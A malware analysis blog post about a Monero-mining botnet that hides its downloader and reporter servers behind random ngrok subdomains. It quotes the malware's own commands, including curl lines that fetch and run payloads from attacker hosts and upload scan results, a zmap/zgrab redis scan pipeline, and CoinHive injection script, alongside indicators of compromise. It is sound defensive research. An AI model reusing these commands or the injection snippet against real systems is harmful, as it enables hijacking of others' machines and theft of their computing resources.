A New Mining Botnet Blends Its C2s into ngrok Service
Share this

A New Mining Botnet Blends Its C2s into ngrok Service


These days, it feels like new mining malwares are popping up almost daily and we have pretty much stopped blogging the regular ones so we don’t flood our readers’ feed.

With that being said, one did have our attention recently. This botnet hides its C2s(Downloader and Reporter server) by using the ngrok reverse proxy service to periodically generate large number of random subdomain names. Botnet master does not have control over what the subdomains will be, as the subdomains ({subdomain}.ngrok.io) are generated randomly by ngrok service, which in this case is actually a bless for the botnet. Because there is no good way for the security defender to tell which ones are good and which ones are bad by just looking at the dns names. All have same pattern and all are mixed in the big naming pool.

The main features of this malicious sample are:

  • Use the ngrok reverse proxy service to periodically and randomly switch Downloader and Reporter domain names.
  • Use many vulnerabilities (redis, docker, jenkins, drupal, modx, CouchDB) to propagate.
  • A module to scan the Ethereum client to steal the Ethereum, currently is not enabled.
  • A module to infect the JavaScript files with CoinHive mining script on the target devices to mine in the web browsers.
  • Mining scripts and scan scripts are under constant update.
  • The sample consists of four modules: Scanner, Reporter, Loader and Miner. The Scanner is responsible for scanning and reporting vulnerability information to the Reporter. The Loader is responsible for implanting Scanner and Miner to the vulnerable devices. And the Miner is for mining.


Ngrok is a reverse proxy service. Its core concept is to forward the public network requests to the designated port in the intranet as a forwarding server, so that intranet resources can be accessed from the public network. Its working principle is as follows:

*[Figure 1: How ngrok works](https://github.com/inconshreveable/ngrok)*

Ngrok user first goes to ngrok.io to register a service. Then starts ngrok client locally. Ngrok client will get the ngrok subdomains randomly assigned by the server. With these subdomains, resources in the intranet become accessible from the outside network. In the free tier, the ngrok client can have one process, which has four tunnels. Each tunnel gets a subdomain. And every time the client is restarted, the subdomain corresponding to all tunnels will be regenerated.

The C2 domains

This miner campaign and its domain switching activity started from June this year. The C2 domain names are replaced in group periodically and each group's lifetime is less than 12 hours. In order for readers to get a better idea, we drew the following diagram, at Y-axis are the C2 Downloader domains, and each bar on the diagram demonstrates a successful download initiated by our honeypot from the corresponding domain (aka the domain is active). You can easily tell that each group of domains are only active for couple of hours then go offline and get replaced by a bunch of new domains.

*Figure 2: C2 domains life cycle (open to view large picture)*


The Scanner is implanted by the Loader. The scanning target IP range, the Reporter and Downloader domains are hard-coded in the Scanner's script. The execution details are:

  • Download tools including zmap, jq and zgrap from compromised ngrok subdomains.
curl -m 120 -fks -o /usr/bin/zmap "hxxp://3a3c559e.ngrok.io/d8/zmap"
curl -m 120 -fks -o /usr/bin/jq "hxxp://53349e8c.ngrok.io/d8/jq"
curl -m 120 -fks -o /usr/bin/zgrab "hxxp://e5a22d36.ngrok.io/d8/zgrab"
  • Download ethereum client geth scanning payload.
#curl -m 120 -fks -o /tmp/.p8545 "hxxp://cc8ef76b.ngrok.io/d8/p8545"
Host: %s:8545
User-Agent: geth
Accept: */*
Content-Type: application/json
Content-Length: 60

  • Vulnerability scanning: first it uses zmap to scan active ports, and then uses zgrap for application lookup. Currently the malware is targeting ports 6379/2375/80/8080/5984 and redis/docker/jenkins/drupal/modx/couchdb services.
  #Scan redis port 6379
  echo -ne "info\r\nquit\r\n" >/tmp/rinfoa379f8ca
  echo ";;${PORT}" > $OUT
  /usr/bin/zmap -i $IFACE -B 50M --max-sendto-failures 1000000 -c5 -o- -p $PORT $IPR 2>>${LOGF} | zgrab --senders 100 --port $PORT --data /tmp/rinfoa379f8ca --output-file=- 2>/dev/null | grep 'redis_version' | jq -r .ip >> ${OUT}
  • Upload scanning results to Reporter on the compromised ngrok subdomains.
curl -m 120 -sk -F result=@${_FILE} "hxxp://cc8ef76b.ngrok.io/z?r={RIP}&i={i}&x=${excode}"
  • Remove trails and exit.


Just like the Scanner, the Miner is also implanted by the Loader and its Reporter and Downloader domains are also hard-coded in Miner script.

export HOST="hxxp://608f5b6c.ngrok.io"

Its execution process is:

  • Download and run fc, which is a global flag to identify infection status. If it runs successfully, the infection is done. Otherwise, the infection fails and it will upload the error logs to the Reporter.
curl -fks -o $INSTALL/93b689 "$HOST/d8/fc"
$INSTALL/93b689 '///' >>201e3a252c5e 2>&1 &
$INSTALL/93b689 '[^$I$^]' >>201e3a252c5e 2>&1 &
  • Shutdown competitors.
  • Upload its old version miner's profile to the Reporter, including process name, miner MD5 and miner file path.
  • Shutdown old version miner.
  • Download and run daemon (a process management tools) and nginx (the actually Miner).
curl -fks -o "${RIP}d" "$HOST/d8/daemon"
curl -fks -o dda4512010 "$HOST/d8/nginx"
cat dda4512010 |"${RIP}d"
  • Check whether /etc/hosts includes any other miner domains, and if it does, overwrite /etc/hosts with " localhost" to remove their resolutions.
  • Remove all other crontab jobs.
  • Inject CoinHive mining script with a site_key U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW into all JavaScript files in current directory. It looks like a bug as the current directory is its own working directory, which does not contain any JavaScript files.
var js=document.createElement("script");
		var e="CoinHive";
			var n=window[e].Anonymous;
			window.__m1||(window.__m1=new n("U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW"))&&__m1.start()
  • Report miner execution status:
  • if successful, report miner process ID, the infected device IP ID, the number of CPUs, infection vulnerability and current username.
  • if failed, report error info including infection result, old version miner profile (process name, miner MD5 and file path), crontab error log, etc.

The miner configuration is as follows and its current total paid is 69.676550440000 XMR.

mining pool: pool.minexmr.com:55555
wallet address: 4AuKPF4vUMcZZywWdrixuAZxaRFt9FPNgcv9v8vBnCtcPkHPxuGqacfPrLeAQWKZpNGTJzxKuKgTCa6LghSCDrEyJ5s7dnW 


This botnet is under constant change, so we can only provide some very recent indicates.

Some recent md5s

md5=19e8679be6cfc56a529cf35df2dbece8	uri=hxxp://608f5b6c.ngrok.io/d8/daemon
md5=e309354fe7047a5fca3c774a427ae7a2	uri=hxxp://608f5b6c.ngrok.io/d8/fc
md5=39fcbe99c2d72006667be9bcc286db4e	uri=hxxp://608f5b6c.ngrok.io/d8/nginx
md5=510802ce144bb729c3c527d465321168	uri=hxxp://ce0a62ad.ngrok.io/f/serve?l=u&r={RIP}&curl=1
md5=072922760ec200ccce83ac5ce20c46ca	uri=hxxp://69c0c72e.ngrok.io/z?r={RIP}&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0caad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5733

Some recent active Loader IPs	ASAS9009	M247_Ltd	AS9009	M247_Ltd	AS9009	M247_Ltd	AS43350	NForce_Entertainment_B.V.	AS49981	WorldStream_B.V.	AS49981	WorldStream_B.V.	AS59898	AllSafe_Sarl	ASAS9009	M247_Ltd	AS43350	NForce_Entertainment_B.V.	AS49981	WorldStream_B.V.	AS43350	NForce_Entertainment_B.V.	AS49981	WorldStream_B.V.	AS43350	NForce_Entertainment_B.V.	AS49981	WorldStream_B.V.	AS49981	WorldStream_B.V.	AS43350	NForce_Entertainment_B.V.